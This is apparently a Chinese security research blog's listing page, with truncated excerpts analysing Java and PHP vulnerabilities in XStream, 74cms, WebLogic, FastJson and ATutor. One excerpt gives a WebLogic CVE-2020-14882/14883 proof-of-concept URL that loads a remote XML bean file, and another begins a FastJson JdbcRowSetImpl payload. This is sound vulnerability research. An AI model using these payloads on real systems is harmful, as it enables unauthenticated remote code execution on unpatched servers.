CVE-2020-26217/26259 Xstream远程代码执行/任意文件删除漏洞分析
XStream是一个基于Java库,可以将Java对象序列化为XML,反之亦然。
2020年,Xstream有两个影响比较大的高危漏洞被爆出:CVE-2020-26217远程代码执行漏洞与CVE-2020-26259任意文件删除漏洞。纵观两个漏洞,他们出现的原因与机制上极其相似,因此我们在这里放到一块来分析。
理解poc首先把CVE-2020-26217与CVE-2020-26259的poc放到一起比较下:
从上图两个漏洞poc的对比上来看:二者利用链前半部分都是一样的,只有中间is元素的class属性值不同:其中一个为java.io.SequenceInputStream而另一个为com.sun.xml.internal.ws.util.ReadAllStream$FileStream。
因此,我们可以先从他们相同部分的调用链入手分析,等到了他们分歧之处,我们再分开来分析。在分析漏洞之前,我们需要搞明白poc中的元素以及其属性到底代表什么意思。
由于poc是个xml格式,我们一层层来剖析这个xml。首先把poc元素折叠起来,看看entry元素中包含的元素内容,见下图:
entry ...
骑士cms从任意文件包含到远程代码执行漏洞分析
前言前些日子,骑士cms 官方公布了一个系统紧急风险漏洞升级通知:骑士cms 6.0.48存在一处任意文件包含漏洞,利用该漏洞对payload文件进行包含,即可造成远程代码执行漏洞。这篇文章将从漏洞公告分析开始,叙述一下笔者分析漏洞与构造payload时遇到的有趣的事情。
漏洞情报官方发布的系统紧急风险漏洞升级通知如下:
http://www.74cms.com/news/show-2497.html
从官方公布的信息来看,官方修复了两个地方:
1、/Application/Common/Controller/BaseController.class.php
2、/ThinkPHP/Library/Think/View.class.php
从BaseController.class.php这处补丁来看:
笔者猜测漏洞多半出在了渲染简历模板的assign_resume_tpl方法中。从补丁修复上来看,增添了如下代码
1234567$tpl_file = $view->parseTemplate($tpl);if(!is_file($tpl_file)){return ...
Weblogic 10.3.6.0版本 Console HTTP 协议远程代码执行漏洞(CVE-2020-14882)分析以及poc构造
在Oracle官方发布的2020年10月关键补丁更新公告CPU中,包含一个存在于Weblogic Console中的高危远程代码执行漏洞CVE-2020-14882。该漏洞与CVE-2020-14883权限绕过漏洞配合,可以使得攻击者在未经身份验证的情况下执行任意代码并接管WebLogic Server Console。
在这篇文章中,我们首先来看看CVE-2020-14882代码执行漏洞。而后续下一篇文章,我将深入的分析下CVE-2020-14883权限绕过漏洞,并说明二者是如何配合使用的。
CVE-2020-14882首先我们来研究下Weblogic Console HTTP协议远程代码执行漏洞。这个漏洞影响范围广:影响范围包含了Oracle Weblogic Server10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0这几个版本。
网上关于这个漏洞的分析报告,多数是以Weblogic12版本展开的,10版本与12版本下的漏洞触发点相同点,但利用链不同。所以我在这里就拿Weblogic 10.3.6.0.0版本,对这个漏洞 ...
CVE-2020-14882/14883 适用于Weblogic 10.3.6.0.0版本的poc
目前网上给出的poc,适用于12版本Weblogic,但并不适用于10.3.6.0.0版本,因此这里给出一个适用于Weblogic 10.3.6.0.0版本的测试 poc
无需登录Weblogic,访问如下链接:
http://localhost:7001/console/css/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://127.0.0.1/poc_xml.xml")
poc_xml.xml内容如下:
1234567891011121314<beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSch ...
从Weblogic原理上探究CVE-2015-4852、CVE-2016-0638、CVE-2016-3510究竟怎么一回事
目前。网上关于CVE-2015-4852漏洞的资料很多,但是针对CVE-2015-4852漏洞如何修复,修复补丁又是如何生效的却少之又少;而CVE-2016-0638、CVE-2016-3510这两个漏洞又是如何绕过CVE-2015-4852补丁的,则只是在介绍Weblogic系列漏洞时被一句话带过。
CVE-2015-4852、CVE-2016-0638以及CVE-2016-3510,这三个漏洞有着极其相似的地方,其本质就是利用了Weblogic反序列化机制,而官方在修复CVE-2015-4852时,也并未对这个机制进行调整,而仅仅是在此基础上增加了一个关卡:黑名单。
因此,在彻底搞清楚Weblogic反序列化漏洞的原理以及如何修复这个问题之前,很有必要弄清楚Weblogic处理流量中的java反序列化数据的流程。只有清楚了这一点,才能很好的理解如下几个问题:
CVE-2015-4852是如何产生的以及后续是如何修复的?
修复CVE-2015-4852,为何要在resolveClass:108,InboundMsgAbbrev$ServerChannelInputStream ( ...
FastJson历史漏洞研究(二)
前言本文衔接上一篇文章《FastJson历史漏洞研究(一)》,继续探讨一下FastJson的历史漏洞。这次将要介绍的是Fastjson 1.2.47版本存漏洞成因以及其利用方式。
Fastjson 1.2.47漏洞分析Fastjson 1.2.47版本漏洞与上篇文章中介绍的几处漏洞在原理上有着很大的不同。与Fastjson历史上存在的大多数漏洞不同的是,Fastjson 1.2.47版本的漏洞利用在AutoTypeSupport功能未开启时进行
首先来看一下公开的poc
12345678public class demo { public static void main(String[] args) { String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},&q ...
Fastjson历史漏洞研究(一)
本文衔接上一篇文章《Fastjson 1.2.24反序列化漏洞深度分析》,继续探讨一下FastJson的历史漏洞。
在《Fastjson 1.2.24反序列化漏洞深度分析》一文中,我们以Fastjson 1.2.24反序列化漏洞为基础,详细分析fastjson漏洞的一些细节问题。
Fastjson 1.2.24 版本的远程代码执行漏洞可谓是开辟了近几年来Fastjson漏洞的纪元。在Fastjson 1.2.24版本反序列化漏洞初次披露之后,官方针对这个漏洞进行了修补。然而这个修复方案很快就被发现存在绕过的风险。由于官方的修复方案或多或少都存在着一些问题,随之而来的是一次又一次的绕过与修复。
回顾一下Fastjson反序列化漏洞,简单来说就是:fastjson通过parse、parseObject处理以json结构传入的类的字符串形时,会默认调用该类的共有setter与构造函数,并在合适的触发条件下调用该类的getter方法。当传入的类中setter、getter方法中存在利用点时,攻击者就可以通过传入可控的类的成员变量进行攻击利用。com.sun.rowset.JdbcRowSetI ...
ATutor学习内容管理系统任意文件上传漏洞(CVE-2019-12169)分析
漏洞介绍ATutor是ATutor团队的一套开源的基于Web的学习内容管理系统(LCMS),该系统包括教学内容管理、论坛、聊天室等模块。Atutor与Claroline、 Moddle及Sakai号称为四大开源课程管理系统。
ATutor2.2.4语言导入功能处存在一处安全漏洞(CVE-2019-12169),攻击者可利用该漏洞进行远程代码执行攻击。
经过分析发现,除了CVE-2019-1216所报道的语言导入功能外,ATutor在其他功能模块中也大量存在着相似的漏洞,本文会在后面针对这一点进行介绍。
漏洞分析据漏洞披露可知,漏洞触发点存在于mods/_core/languages/language_import.php文件中
首先跟入language_import.php文件
12345678910111213141516171819202122232425262728293031323334353637383940414243<?php/****************************************************************//* AT ...
FastJson checkAutoType安全机制研究
在FastJson1.2.25以及之后的版本中,fastjson为了防止autoType这一机制带来的安全隐患,增加了一层名为checkAutoType的检测机制。在之后的版本中,随着checkAutoType安全机制被不断绕过,fastjson也进行了一系列例如黑名单防逆向分析、扩展黑名单列表等加固。但是checkAutoType的原理未曾有过大的变化,因此本文将以fastjson 1.2.25版本为例,介绍一下checkAutoType安全机制的原理。
在调试分析fastjson的checkAutoType安全机制之前,发现网上很多fastjson漏洞的分析文章中曾经提到过一个名为autoTypeSupport的开关,且在1.2.25以及之后的版本中默认关闭。在动手调试之前,我曾一度以为autoTypeSupport开关关闭与否直接决定了fastjson是完全摒弃或是使用autotype功能的。但是实际调试中发现,这个开关仅仅是checkAutoType安全机制中的一个选项,这个开关的关闭与否,并不直接作用于fastjson是否使用autoType机制,下文案例中可以看出这个问题。 ...